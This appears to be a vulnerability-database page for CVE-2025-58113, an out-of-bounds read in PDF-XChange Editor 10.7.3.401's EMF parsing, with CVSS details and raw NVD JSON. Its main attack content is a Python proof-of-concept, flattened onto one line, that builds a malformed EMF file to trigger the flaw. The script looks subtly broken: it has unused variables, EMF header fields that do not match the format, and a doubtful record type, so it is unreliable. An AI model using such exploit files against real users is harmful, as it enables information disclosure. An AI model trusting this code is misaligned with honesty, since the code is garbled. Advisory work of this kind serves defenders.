Security Vulnerability Report
中文
CVE-2025-58113 CVSS 6.5 MEDIUM

CVE-2025-58113

Published: 2025-12-02 16:15:55
Last Modified: 2025-12-10 23:30:04

Description

An out-of-bounds read vulnerability exists in the EMF functionality of PDF-XChange Co. Ltd PDF-XChange Editor 10.7.3.401. By using a specially crafted EMF file, an attacker could exploit this vulnerability to perform an out-of-bounds read, potentially leading to the disclosure of sensitive information.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:pdf-xchange:pdf-xchange_editor:10.7.3.401:*:*:*:*:*:*:* - VULNERABLE
PDF-XChange Editor 10.7.3.401

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-58113 PoC - Malformed EMF File Generator # This PoC generates a specially crafted EMF file to trigger an out-of-bounds read # in PDF-XChange Editor 10.7.3.401 import struct import sys def create_poc_emf(): """Generate a malformed EMF file to trigger CVE-2025-58113""" # EMF Header emf_header = bytearray() # Record type: EMR_EOF (0x0000000E) record_type = 0x0000000E # Record size (malformed - set to trigger out-of-bounds read) record_size = 0xFFFFFFFF # Malformed size # Offset to previous record prev_offset = 0x00000000 # Number of records num_records = 1 # EMF Header structure emf_header += struct.pack('<I', 0x00000001) # Type: EMR_HEADER emf_header += struct.pack('<I', 88) # Size of header record emf_header += struct.pack('<I', 0x00010000) # Version emf_header += struct.pack('<I', 0x00000000) # Bytes emf_header += struct.pack('<I', 0x00000000) # Records emf_header += struct.pack('<I', 0x00000001) # Handles emf_header += struct.pack('<I', 0x00000000) # Reserved emf_header += struct.pack('<I', 0x00000000) # Description emf_header += struct.pack('<I', 0x00000000) # Description (cont) emf_header += struct.pack('<I', 0x00000000) # PalEntries emf_header += struct.pack('<I', 0x00000000) # OffExt emf_header += struct.pack('<I', 0x00000000) # Ext emf_header += struct.pack('<I', 0x00000000) # Size emf_header += struct.pack('<I', 0x00000000) # Size (cont) emf_header += struct.pack('<I', 0x00000000) # ColorSpace emf_header += struct.pack('<I', 0x00000000) # ColorSpace (cont) emf_header += struct.pack('<I', 0x00000000) # Intent emf_header += struct.pack('<I', 0x00000000) # Intent (cont) emf_header += struct.pack('<I', 0x00000000) # PixelFormat emf_header += struct.pack('<I', 0x00000000) # PixelFormat (cont) emf_header += struct.pack('<I', 0x00000000) # OpenGL emf_header += struct.pack('<I', 0x00000000) # MetdcSize emf_header += struct.pack('<I', 0x00000000) # MetdcSize (cont) emf_header += struct.pack('<I', 0x00000000) # Hdc # Malformed EMF record with out-of-bounds trigger # This record has invalid size/offset values to trigger the vulnerability malicious_record = bytearray() malicious_record += struct.pack('<I', 0x0000004E) # EMR_POLYDRAW16 type malicious_record += struct.pack('<I', 0x00000001) # Malformed size malicious_record += struct.pack('<I', 0x7FFFFFFF) # Invalid offset (triggers OOB read) malicious_record += b'\x00' * 100 # Padding to increase impact # EOF record eof_record = bytearray() eof_record += struct.pack('<I', 0x0000000E) # Type: EMR_EOF eof_record += struct.pack('<I', 8) # Size eof_record += struct.pack('<I', 0) # No palette # Combine all parts emf_data = emf_header + malicious_record + eof_record return bytes(emf_data) def main(): output_file = 'CVE-2025-58113_poc.emf' print(f'[*] Generating PoC EMF file for CVE-2025-58113') print(f'[*] Target: PDF-XChange Editor 10.7.3.401') print(f'[*] Vulnerability: Out-of-bounds read in EMF parsing') emf_data = create_poc_emf() with open(output_file, 'wb') as f: f.write(emf_data) print(f'[+] PoC file created: {output_file}') print(f'[+] File size: {len(emf_data)} bytes') print('[!] Note: This PoC triggers an out-of-bounds read condition') print('[!] User interaction required to open the malicious EMF file') if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58113", "sourceIdentifier": "[email protected]", "published": "2025-12-02T16:15:55.040", "lastModified": "2025-12-10T23:30:03.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds read vulnerability exists in the EMF functionality of PDF-XChange Co. Ltd PDF-XChange Editor 10.7.3.401. By using a specially crafted EMF file, an attacker could exploit this vulnerability to perform an out-of-bounds read, potentially leading to the disclosure of sensitive information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pdf-xchange:pdf-xchange_editor:10.7.3.401:*:*:*:*:*:*:*", "matchCriteriaId": "1ADEF3BD-1C35-4E2D-B935-512B7935F2FE"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2280", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2280", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}